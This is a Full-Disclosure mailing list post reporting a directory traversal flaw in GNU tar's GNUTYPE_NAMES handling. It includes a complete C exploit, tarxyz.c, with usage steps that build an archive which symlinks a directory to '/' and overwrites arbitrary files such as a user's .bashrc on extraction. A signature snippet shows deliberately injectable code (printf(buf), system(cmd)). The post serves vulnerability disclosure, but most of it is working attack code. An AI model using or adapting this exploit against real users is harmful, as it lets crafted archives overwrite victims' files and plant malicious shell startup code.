GNU tar directory traversal ---------------------------------------------------------------------------- What is it? When i download a tar file (warez.tar.gz in this example) from the web and run the following commands: $ mkdir ~/warez $ tar xzf warez.tar.gz -C ~/warez , then i would expect that tar doesn't create or replace any files outside the ~/warez directory. Today, i was browsing the GNU tar source code trying to find a way to create/overwrite arbitrary files, and i found it! Normal tar symlinks/hardlinks are handled correctly in GNU tar (i think), but there is one tar record type, called GNUTYPE_NAMES (this is some kind of GNU extension, i think), that allows me to create symbolic links (inside the ~/warez directory, in this example) pointing to arbitrary locations in the filesystem. In the exploit, i make a sybolic link called "xyz", pointing to "/". After that record, more records would follow that extract files to the "xyz" directory. Version numbers: ---------------------------------------------------------------------------- I tested this on Ubuntu 6.06 LTS, GNU tar 1.16 and GNU tar 1.15.1 (this one comes with Ubuntu) Vulnerable code: ---------------------------------------------------------------------------- See extract_archive() in extract.c and extract_mangle() in mangle.c. Exploit: ---------------------------------------------------------------------------- /* * tarxyz.c - GNU tar directory traversal exploit. * Written by Teemu Salmela. * * Example usage (creates a tar file that extracts /home/teemu/.bashrc): * $ gcc -o tarxyz tarxyz.c * $ ./tarxyz > ~/xyz.tar * $ mkdir -p /tmp/xyz/home/teemu/ * $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc * $ cd /tmp * $ tar -rf ~/xyz.tar xyz/home/teemu */ #include #include #include struct posix_header { /* byte offset */ char name[100]; /* 0 */ char mode[8]; /* 100 */ char uid[8]; /* 108 */ char gid[8]; /* 116 */ char size[12]; /* 124 */ char mtime[12]; /* 136 */ char chksum[8]; /* 148 */ char typeflag; /* 156 */ char linkname[100]; /* 157 */ char magic[6]; /* 257 */ char version[2]; /* 263 */ char uname[32]; /* 265 */ char gname[32]; /* 297 */ char devmajor[8]; /* 329 */ char devminor[8]; /* 337 */ char prefix[155]; /* 345 */ /* 500 */ }; #define GNUTYPE_NAMES 'N' #define BLOCKSIZE 512 union block { char buffer[BLOCKSIZE]; struct posix_header header; }; void data(void *p, size_t size) { size_t n = 0; char b[BLOCKSIZE]; while (size - n > 512) { fwrite(&((char *)p)[n], 1, 512, stdout); n += 512; } if (size - n) { memset(b, 0, sizeof(b)); memcpy(b, &((char *)p)[n], size - n); fwrite(b, 1, sizeof(b), stdout); } } int main(int argc, char *argv[]) { char *link_name = "xyz"; union block b; char *d; int i; unsigned int cksum; if (argc > 1) link_name = argv[1]; if (asprintf(&d, "Symlink / to %s\n", link_name) < 0) { fprintf(stderr, "out of memory\n"); exit(1); } memset(&b, 0, sizeof(b)); strcpy(b.header.name, "xyz"); strcpy(b.header.mode, "0000777"); strcpy(b.header.uid, "0000000"); strcpy(b.header.gid, "0000000"); sprintf(b.header.size, "%011o", strlen(d)); strcpy(b.header.mtime, "00000000000"); strcpy(b.header.chksum, " "); b.header.typeflag = GNUTYPE_NAMES; strcpy(b.header.magic, "ustar "); strcpy(b.header.uname, "root"); strcpy(b.header.gname, "root"); for (cksum = 0, i = 0; i < sizeof(b); i++) cksum += b.buffer[i] & 0xff; sprintf(b.header.chksum, "%06o ", cksum); fwrite(&b, 1, sizeof(b), stdout); data(d, strlen(d)); } -- fscanf(socket,"%s",buf); printf(buf); sprintf(query, "SELECT %s FROM table", buf); sprintf(cmd, "echo %s | sqlquery", query); system(cmd); Teemu Salmela _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/